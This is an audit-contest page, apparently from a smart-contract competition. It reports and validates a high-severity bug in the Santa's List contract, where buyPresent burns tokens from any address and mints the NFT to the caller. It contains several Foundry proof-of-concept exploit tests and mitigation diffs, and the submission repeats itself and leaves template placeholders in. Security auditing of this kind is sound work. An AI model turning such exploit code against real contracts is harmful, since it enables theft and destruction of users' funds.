Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

Caller can burn SantaTokens from any address in buyPresent and mint NFT to himself

Root + Impact

Description-Description

The intended flow of buyPresent is...

Root Cause

...

Impact

...

// Root cause in the codebase with @> marks to highlight the relevant section
## Summary
`buyPresent(address presentReceiver)` is intended to let `msg.sender` buy a present for someone else by burning his own tokens. But implementation does `i_santaToken.burn(presentReceiver)` instead of `burn(msg.sender)`, and then mints NFT to `msg.sender` via `_mintAndIncrement()`.
​
This allows attacker to burn tokens from ANY address that holds SantaTokens and mint NFT for himself, without approval, without owning tokens.
​
## Vulnerability Details
File: SantasList.sol L172-L185
​
function buyPresent(address presentReceiver) external {
i_santaToken.burn(presentReceiver); // @> BUG: should be msg.sender
_mintAndIncrement(); // mints to msg.sender, not presentReceiver
}
​
- `burn` only checks msg.sender == i_santasList, it doesn't check allowance or balance owner approval. So SantasList can burn anyone.
- Attacker calls buyPresent(victim) where victim has 1e18 SantaTokens
- Victim's tokens are burnt, attacker gets NFT.
​
## Impact
High - Breaks token accounting, griefing, unauthorized burning of user funds, free minting. No privileges required.
​
## Proof of Concept
​
```solidity
function test_BuyPresent_BurnsAnyone() public {
address santa = makeAddr("santa");
address victim = makeAddr("victim");
address attacker = makeAddr("attacker");
SantasList list = new SantasList(santa);
SantaToken token = list.i_santaToken();
// Santa gives victim a present (mints token)
vm.prank(santa);
list.checkList(victim, SantasList.Status.NICE);
vm.prank(santa);
list.checkTwice(victim, SantasList.Status.NICE);
vm.prank(victim);
list.collectPresent(); // victim now has 1e18 SantaToken
​
assertEq(token.balanceOf(victim), 1e18);
​
// Attacker with 0 balance calls buyPresent(victim)
vm.prank(attacker);
list.buyPresent(victim);
​
// Victim burned, attacker got NFT
assertEq(token.balanceOf(victim), 0);
assertEq(list.balanceOf(attacker), 1);
}

Risk

Likelihood:anyone can call with any address.

Impact:direct loss of user funds.

Proof of Concept-PoC Explanation

Prerequisite: Victim holds 1e18 SantaTokens after collecting present.
Attacker holds 0 tokens.

Steps to reproduce:

PoC Code

function test_BurnAnyone() public {
vm.prank(santa); list.checkList(victim, Status.NICE);
vm.prank(santa); list.checkTwice(victim, Status.NICE);
vm.prank(victim); list.collectPresent();
assertEq(token.balanceOf(victim), 1e18);
vm.prank(attacker); list.buyPresent(victim);
assertEq(token.balanceOf(victim), 0);
assertEq(list.balanceOf(attacker), 1);
}

Result

Before: victim 1e18 tokens, attacker 0 NFT
After: victim 0 tokens, attacker 1 NFT
This proves unauthorized burn + free mint

Run: forge test --match-test test_BurnAnyone -vvvv

Result

Before: victim 1e18, attacker 0 NFT
After: victim 0, attacker 1 NFT
This proves unauthorized burn + free mint.

Run: forge test --match-test test_BurnAnyone -vvvv

}

## PoC Explanation
Prerequisite: Victim holds 1e18 SantaTokens after collecting present.
​
Steps to reproduce:
1. Santa calls checkList(victim, NICE) and checkTwice(victim, NICE)
2. Victim calls collectPresent() -> gets 1e18 SantaToken
3. Attacker (0 balance) calls buyPresent(victim)
4. Contract executes i_santaToken.burn(victim) - burns victim's tokens
5. Contract executes _mintAndIncrement() - mints NFT to attacker (msg.sender)
​
Expected: burn should be from msg.sender
Actual: burn is from arbitrary address passed as param
​
## Steps to Run
File: test/BuyPresentBug.t.sol
forge test --match-test test_BurnAnyone -vvvv
​
## PoC Code
function test_BurnAnyone() public {
vm.prank(santa);
list.checkList(victim, Status.NICE);
vm.prank(santa);
list.checkTwice(victim, Status.NICE);
vm.prank(victim);
list.collectPresent();
assertEq(token.balanceOf(victim), 1e18);
vm.prank(attacker);
list.buyPresent(victim);
assertEq(token.balanceOf(victim), 0);
assertEq(list.balanceOf(attacker), 1);
}
​
## Result
Before attack: victim 1e18 tokens, attacker 0 NFTs
After attack: victim 0 tokens, attacker 1 NFT
Logs show attacker can drain any holder and mint for free.

Recommended Mitigation-SantaToken.burn() already restricts caller to SantasList, but SantasList must ensure it only burns msg.sender balance, not arbitrary address.

- remove this code
+ add this code
- function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
- _mintAndIncrement();
- }
+ function buyPresent(address presentReceiver) external {
+ i_santaToken.burn(msg.sender);
+ _mint(presentReceiver, ...);
+ }
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 14 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] SantasList::buyPresent burns token from presentReceiver instead of caller and also sends present to caller instead of presentReceiver.

## Description The `buyPresent` function sends the present to the `caller` of the function but burns token from `presentReceiver` but the correct method should be the opposite of it. Due to this implementation of the function, malicious caller can mint NFT by burning the balance of other users by passing any arbitrary address for the `presentReceiver` field and tokens will be deducted from the `presentReceiver` and NFT will be minted to the malicious caller. Also, the NatSpec mentions that one has to approve `SantasList` contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves. `buyPresent` function should send the present (NFT) to the `presentReceiver` and should burn the SantaToken from the caller i.e. `msg.sender`. ## Vulnerability Details The vulnerability lies inside the SantasList contract inside the `buyPresent` function starting from line 172. The buyPresent function takes in `presentReceiver` as an argument and burns the balance from `presentReceiver` instead of the caller i.e. `msg.sender`, as a result of which an attacker can specify any address for the `presentReceiver` that has approved or not approved the SantasToken (it doesn't matter whether they have approved token or not) to be spent by the SantasList contract, and as they are the caller of the function, they will get the NFT while burning the SantasToken balance of the address specified in `presentReceiver`. This vulnerability occurs due to wrong implementation of the buyPresent function instead of minting NFT to presentReceiver it is minted to caller as well as the tokens are burnt from presentReceiver instead of burning them from `msg.sender`. Also, the NatSpec mentions that one has to approve `SantasList` contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves. ```cpp /* * @notice Buy a present for someone else. This should only be callable by anyone with SantaTokens. * @dev You'll first need to approve the SantasList contract to spend your SantaTokens. */ function buyPresent(address presentReceiver) external { @> i_santaToken.burn(presentReceiver); @> _mintAndIncrement(); } ``` ## PoC Add the test in the file: `test/unit/SantasListTest.t.sol` Run the test: ```cpp forge test --mt test_AttackerCanMintNft_ByBurningTokensOfOtherUsers ``` ```cpp function test_AttackerCanMintNft_ByBurningTokensOfOtherUsers() public { // address of the attacker address attacker = makeAddr("attacker"); vm.startPrank(santa); // Santa checks user once as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); // Santa checks user second time santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // christmas time 🌳🎁 HO-HO-HO vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME()); // User collects their NFT and tokens for being EXTRA_NICE vm.prank(user); santasList.collectPresent(); assertEq(santaToken.balanceOf(user), 1e18); uint256 attackerInitNftBalance = santasList.balanceOf(attacker); // attacker get themselves the present by passing presentReceiver as user and burns user's SantaToken vm.prank(attacker); santasList.buyPresent(user); // user balance is decremented assertEq(santaToken.balanceOf(user), 0); assertEq(santasList.balanceOf(attacker), attackerInitNftBalance + 1); } ``` ## Impact - Due to the wrong implementation of function, an attacker can mint NFT by burning the SantaToken of other users by passing their address for the `presentReceiver` argument. The protocol assumes that user has to approve the SantasList in order to burn token on their behalf but it will be burnt even though they didn't approve it to `SantasList` contract, because directly `_burn` function is called directly by the `burn` function and both of them don't check for approval. - Attacker can burn the balance of everyone and mint a large number of NFT for themselves. ## Recommendations - Burn the SantaToken from the caller i.e., `msg.sender` - Mint NFT to the `presentReceiver` ```diff + function _mintAndIncrementToUser(address user) private { + _safeMint(user, s_tokenCounter++); + } function buyPresent(address presentReceiver) external { - i_santaToken.burn(presentReceiver); - _mintAndIncrement(); + i_santaToken.burn(msg.sender); + _mintAndIncrementToUser(presentReceiver); } ``` By applying this recommendation, there is no need to worry about the approvals and the vulnerability - 'tokens can be burnt even though users don't approve' will have zero impact as the tokens are now burnt from the caller. Therefore, an attacker can't burn others token.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!